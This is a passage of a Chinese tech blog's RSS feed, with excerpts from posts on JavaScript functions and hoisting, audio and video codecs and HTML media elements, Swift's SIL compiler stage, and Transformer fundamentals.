&lt;p&gt;数组 (或者类数组对象: &lt;code&gt;Strings&lt;/code&gt; , &lt;code&gt;Maps&lt;/code&gt; , &lt;code&gt;Sets&lt;/code&gt; , &lt;code&gt;arguments&lt;/code&gt; ) 的原型中都实现了一个方法 &lt;code&gt;Symbol.iterator&lt;/code&gt;，问题来了，那么这个 &lt;code&gt;Symbol.iterator&lt;/code&gt; 又有什么用呢？ 拿出来试一下就知道了：&lt;/p&gt;</description></item><item><title>函数与函数式编程</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-009/</link><pubDate>Tue, 01 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-009/</guid><description>&lt;p&gt;纵观JavaScript中所有必须需要掌握的重点知识中，函数是我们在初学的时候最容易忽视的一个知识点。在学习的过程中，可能会有很多人、很多文章告诉你面向对象很重要，原型很重要，可是却很少有人告诉你，面向对象中所有的重点难点，几乎都与函数息息相关。&lt;/p&gt;
&lt;p&gt;包括之前几篇文章介绍的执行上下文，变量对象，闭包，this等，都是围绕函数的细节来展开。&lt;/p&gt;
&lt;p&gt;很多人在学习中，很急切的希望自己快一点开始学习面向对象，学习模块，学习流行框架，然后迅速成为高手。但是我可以很负责的告诉你，关于函数的这些基础东西没理解到一定程度，那么你的学习进展一定是举步维艰的。&lt;/p&gt;
&lt;p&gt;所以，大家一定要重视函数！&lt;/p&gt;
&lt;p&gt;当然，关于函数的重点，难点在前面几篇文章都已经说得差不多了，这篇文章主要总结一下函数的基础知识，并初步学习函数式编程的思维。&lt;/p&gt;
&lt;h5 id="一函数声明函数表达式匿名函数与自执行函数"&gt;一、函数声明、函数表达式、匿名函数与自执行函数&lt;/h5&gt;
&lt;p&gt;关于函数在实际开发中的应用，大体可以总结为函数声明、函数表达式、匿名函数、自执行函数。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;函数声明&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;我们知道，JavaScript中，有两种声明方式，一个是使用&lt;code&gt;var&lt;/code&gt;的变量声明，另一个是使用&lt;code&gt;function&lt;/code&gt;的函数声明。&lt;/p&gt;
&lt;p&gt;在前端基础进阶（三）：变量对象详解中我有提到过，变量对象的创建过程中，函数声明比变量声明具有更为优先的执行顺序，即我们常常提到的函数声明提前。因此我们在执行上下文中，无论在什么位置声明了函数，我们都可以在同一个执行上下文中直接使用该函数。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;fn&lt;/span&gt;(); &lt;span style="color:#75715e"&gt;// function
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;fn&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;function&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;函数表达式&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;与函数声明不同，函数表达式使用了var进行声明，那么我们在确认他是否可以正确使用的时候就必须依照var的规则进行判断，即变量声明。我们知道使用var进行变量声明，其实是进行了两步操作。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 变量声明
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;a&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;20&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 实际执行顺序
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;a&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;undefined&lt;/span&gt;; &lt;span style="color:#75715e"&gt;// 变量声明，初始值undefined，变量提升，提升顺序次于function声明
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;a&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;20&lt;/span&gt;; &lt;span style="color:#75715e"&gt;// 变量赋值，该操作不会提升
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;同样的道理，当我们使用变量声明的方式来声明函数时，就是我们常常说的函数表达式。函数表达的提升方式与变量声明一致。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;fn&lt;/span&gt;(); &lt;span style="color:#75715e"&gt;// 报错
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;fn&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;function&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;上例子的执行顺序为：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;fn&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;undefined&lt;/span&gt;; &lt;span style="color:#75715e"&gt;// 变量声明提升
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;fn&lt;/span&gt;(); &lt;span style="color:#75715e"&gt;// 执行报错
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;fn&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt;() { &lt;span style="color:#75715e"&gt;// 赋值操作，此时将后边函数的引用赋值给fn
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;function&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;blockquote&gt;
&lt;p&gt;因此，由于声明方式的不同，导致了函数声明与函数表达式在使用上的一些差异需要我们注意，除此之外，这两种形式的函数在使用上并无不同。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;关于上面例子中，函数表达式中的赋值操作，在其他一些地方也会被经常使用，我们清楚其中的关系即可。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;在构造函数中添加方法&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Person&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;name&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;name&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;name&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;age&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;age&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 在构造函数内部中添加方法
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;getAge&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;age&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 给原型添加方法
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;Person&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;prototype&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;getName&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;name&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 在对象中添加方法
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;a&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;m&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;20&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;getM&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;m&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;匿名函数&lt;/strong&gt;&lt;/p&gt;</description></item><item><title>多媒体技术</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/html/html-009/</link><pubDate>Fri, 27 Sep 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/html/html-009/</guid><description>&lt;p&gt;对于大多数前端工程师来说，音视频技术是一个比较少涉足的领域，&lt;/p&gt;
&lt;p&gt;本知识点主要介绍流媒体技术中的&lt;strong&gt;文本&lt;/strong&gt;、&lt;strong&gt;图形&lt;/strong&gt;、&lt;strong&gt;图像&lt;/strong&gt;、&lt;strong&gt;音频&lt;/strong&gt;和&lt;strong&gt;视频&lt;/strong&gt;多种理论知识，涉及到播放器、web媒体技术、主流框架等内容。&lt;/p&gt;
&lt;h3 id="一音视频基础"&gt;一、音视频基础&lt;/h3&gt;
&lt;h4 id="11-视频"&gt;1.1 视频&lt;/h4&gt;
&lt;h5 id="111-基础概念"&gt;1.1.1 基础概念&lt;/h5&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;strong&gt;码率&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;单位时间内取样率越大，精度就越高，处理出来的文件就越接近原始文件。&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;帧率&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;对视频来说，帧率对应这观看卡顿。帧率越高，流畅度越高，低帧率会造成视觉卡顿。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;压缩率&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;经过压缩后文件的大小 / 原始文件的大小 * 100% = 压缩率。编码压缩越小越好，但压得越小，解压时间&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;分辨率&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;用于度量图像内数据量多少的一个参数，和视频清晰度息息相关。&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h5 id="112-视频容器格式"&gt;1.1.2 视频容器格式&lt;/h5&gt;
&lt;p&gt;容器格式相信大家经常见到：&lt;br&gt;
MP4、AVI、FLV、TS/M3U8、WebM、OGV、MOV&amp;hellip;&lt;/p&gt;
&lt;h5 id="112-视频编码格式"&gt;1.1.2 视频编码格式&lt;/h5&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;strong&gt;H.264&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;目前最流行的编码格式。&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;H.265&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;新型的编码格式，高效的视频编码。用来以替代H.264/AVC编码标准。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;VP9&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;VP9是WebM Project开发的下一代视频编码格式 。VP9支持从低比特率压缩到高质量超高清的所有Web和移动用例，并额外支持10/12位编码和HDR&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;AV1&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;AOM（Alliance for Open Media，开放媒体联盟）制定的一个开源、免版权费的视频编码格式。AV1是google制定的VP9标准的继任者，也是H265强有力的竞争者。&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h4 id="12-音频"&gt;1.2 音频&lt;/h4&gt;
&lt;h5 id="121-基础概念"&gt;1.2.1 基础概念&lt;/h5&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;strong&gt;采样率&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;音频采样率是指录音设备在一秒钟内对声音信号的采样次数，采样频率越高声音的还原就越真实越自然。&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;采样大小&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;一秒钟所采的样本数为比特率，每个样本中信息的比特数就是位深，即采样精度，单位为Bit。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;比特率&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;指每秒传送的比特(bit)数，又称数据信号速率。单位为比特/秒、千比特/秒或兆比特/秒。比特率越高，表示单位时间传送的数据就越多。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;压缩率&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;原始音频数据与通过PCM等压缩编码技术压缩后的数据大小的比率&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h5 id="122-音频容器格式"&gt;1.2.2 音频容器格式&lt;/h5&gt;
&lt;p&gt;音频格式也比较常见：WAV、AIFF、AMR、MP3、Ogg&amp;hellip;&lt;/p&gt;
&lt;h5 id="123-音频编码格式"&gt;1.2.3 音频编码格式&lt;/h5&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;strong&gt;PCM&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;脉冲编码调制(Pulse Code Modulation,PCM)，PCM是数字通信的编码方式之一。&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;AAC-LC(MPEG AAC Low Complexity)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;低复杂度编码解码器（AAC-LC — 低复杂度高级音频编码）是低比特率、优质音频 的高性能音频编码解码器。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;AAC-LD&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;（又名AAC低延迟或MPEG-4低延迟音频编码器），为电话会议和OTT服务量身打造的低延迟音频编解码器&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;LAC（Free Lossless Audio Codec）&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;免费无损音频编解码器。是一套著名的自由音频压缩编码，其特点是无损压缩。 2012年以来它已被很多软件及硬件音频产品（如CD等）所支持。&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h4 id="13-常见标签"&gt;1.3 常见标签&lt;/h4&gt;
&lt;h5 id="131-audio-元素"&gt;1.3.1 &lt;code&gt;&amp;lt;audio&amp;gt;&lt;/code&gt; 元素&lt;/h5&gt;
&lt;h6 id="1311-基本用途"&gt;1.3.1.1 基本用途&lt;/h6&gt;
&lt;p&gt;&lt;code&gt;&amp;lt;audio&amp;gt;&lt;/code&gt; 元素用于在网页中嵌入音频内容。它可以播放音乐、播客、音效等。&lt;/p&gt;</description></item><item><title>SIL（Swift Intermediate Language）</title><link>https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/sil/</link><pubDate>Sat, 02 May 2026 22:32:27 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/sil/</guid><description>&lt;p&gt;SIL（Swift Intermediate Language，Swift 中间语言）是 Swift 编译器在编译过程中生成的一种&lt;strong&gt;中间表示&lt;/strong&gt;（Intermediate Representation，IR）。它位于 Swift 源码与 LLVM IR 之间，是 Swift 编译器架构中至关重要的一层。&lt;/p&gt;
&lt;p&gt;SIL 的设计目标是：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;对 Swift 语言的&lt;strong&gt;高级语义&lt;/strong&gt;进行精确建模&lt;/li&gt;
&lt;li&gt;在&lt;strong&gt;高层抽象&lt;/strong&gt;的基础上执行强大的优化&lt;/li&gt;
&lt;li&gt;保留足够的类型信息，用于&lt;strong&gt;诊断&lt;/strong&gt;和&lt;strong&gt;安全检查&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;作为 Swift 特有优化的载体，弥补 LLVM IR 无法直接表达 Swift 语义的不足&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;SIL 并不是给开发者日常编写的语言，而是编译器的内部表示。理解它有助于深入理解 Swift 的编译过程、性能优化原理和内存管理机制。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="swift-编译流程概览"&gt;Swift 编译流程概览&lt;/h2&gt;
&lt;p&gt;在了解 SIL 之前，需要先理解 Swift 的整体编译流程：&lt;/p&gt;
&lt;pre class="mermaid"&gt;flowchart TD
A[Swift 源代码 .swift] --&gt; B[词法分析 Lexer]
B --&gt; C[语法分析 Parser]
C --&gt; D[语义分析 Sema]
D --&gt; E[SILGen: 生成 Raw SIL]
E --&gt; F[SIL 优化 Guaranteed Passes]
F --&gt; G[SIL 优化 General Passes]
G --&gt; H[IRGen: 生成 LLVM IR]
H --&gt; I[LLVM 优化]
I --&gt; J[机器码 .o]
J --&gt; K[链接器 Linker]
K --&gt; L[可执行文件 / 动态库]
&lt;/pre&gt;
&lt;h3 id="各阶段简述"&gt;各阶段简述&lt;/h3&gt;
&lt;h4 id="词法分析lexer"&gt;词法分析（Lexer）&lt;/h4&gt;
&lt;p&gt;编译的第一步。Lexer 逐字符扫描 &lt;code&gt;.swift&lt;/code&gt; 源文件，将其切分为一系列&lt;strong&gt;Token（词法单元）&lt;/strong&gt;，例如关键字 &lt;code&gt;func&lt;/code&gt;、标识符 &lt;code&gt;add&lt;/code&gt;、运算符 &lt;code&gt;+&lt;/code&gt;、字面量 &lt;code&gt;42&lt;/code&gt;、左右括号等。Token 是后续所有分析的最小输入单位。这一步会剥离注释和空白，但保留它们的位置信息以便后续生成精确的诊断信息（错误提示的行号和列号）。&lt;/p&gt;</description></item><item><title>Transformer架构原理</title><link>https://amatsuzero.github.io/LastStand/posts/interview/ai/transformer%E6%9E%B6%E6%9E%84%E5%8E%9F%E7%90%86/</link><pubDate>Sat, 02 May 2026 22:32:27 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/interview/ai/transformer%E6%9E%B6%E6%9E%84%E5%8E%9F%E7%90%86/</guid><description>&lt;p&gt;ChatGPT、Claude、Gemini——这些模型的核心都是同一个架构：&lt;strong&gt;Transformer&lt;/strong&gt;。它在2017年由Google的论文&amp;quot;Attention Is All You Need&amp;quot;提出，彻底改变了自然语言处理（NLP）领域，随后席卷了计算机视觉、语音、蛋白质折叠等几乎所有AI领域。&lt;/p&gt;
&lt;p&gt;我们从最直觉的角度出发，一步步搞清楚Transformer到底在做什么。&lt;/p&gt;
&lt;h2 id="一从序列到序列transformer要解决什么问题"&gt;一、从序列到序列：Transformer要解决什么问题&lt;/h2&gt;
&lt;h3 id="11-语言的本质是序列"&gt;1.1 语言的本质是序列&lt;/h3&gt;
&lt;p&gt;一句话是一个词的序列：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;#34;我 今天 很 开心&amp;#34; → [我, 今天, 很, 开心]
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;语言模型的核心任务是：给定前面的词，预测下一个词。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;#34;我 今天 很&amp;#34; → ?（开心？难过？忙碌？）
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;但词与词之间的关系非常复杂。&amp;ldquo;它&amp;quot;指代谁？&amp;ldquo;银行&amp;quot;是河岸还是金融机构？这取决于上下文中其他词的信息。&lt;/p&gt;
&lt;h3 id="12-rnn的困境"&gt;1.2 RNN的困境&lt;/h3&gt;
&lt;p&gt;在Transformer之前，处理序列的主流方法是循环神经网络（RNN）。RNN像一个人从左到右逐词阅读，用一个&amp;quot;记忆状态&amp;quot;来记住看过的内容：&lt;/p&gt;
&lt;pre class="mermaid"&gt;graph LR
X1["我"] --&gt; H1["h₁"]
H1 --&gt; H2["h₂"]
X2["今天"] --&gt; H2
H2 --&gt; H3["h₃"]
X3["很"] --&gt; H3
H3 --&gt; H4["h₄"]
X4["开心"] --&gt; H4
&lt;/pre&gt;
&lt;p&gt;问题在于：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;长距离依赖困难&lt;/strong&gt;：信息需要经过很多步才能从序列开头传到末尾，容易丢失&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;无法并行&lt;/strong&gt;：必须逐步处理，前一步完成才能开始后一步，训练很慢&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Transformer的核心洞察是：&lt;strong&gt;不需要逐步处理，让序列中的每个位置直接与所有其他位置交互&lt;/strong&gt;。这就是&amp;quot;注意力（Attention）&amp;ldquo;机制。&lt;/p&gt;
&lt;h2 id="二词嵌入给词语一个数学身份"&gt;二、词嵌入：给词语一个数学身份&lt;/h2&gt;
&lt;h3 id="21-从独热编码到词向量"&gt;2.1 从独热编码到词向量&lt;/h3&gt;
&lt;p&gt;计算机不认识&amp;quot;猫&amp;rdquo;、&amp;ldquo;狗&amp;quot;这样的文字。我们需要把词转换成数字。&lt;/p&gt;
&lt;p&gt;最朴素的方式是&lt;strong&gt;独热编码（One-Hot Encoding）&lt;/strong&gt;：假设词汇表有50,000个词，每个词用一个50,000维的向量表示，只有对应位置是1，其余全是0。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;#34;猫&amp;#34; → [0, 0, ..., 1, ..., 0, 0] (第3721个位置是1)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;#34;狗&amp;#34; → [0, 0, ..., 0, 1, ..., 0, 0] (第5042个位置是1)
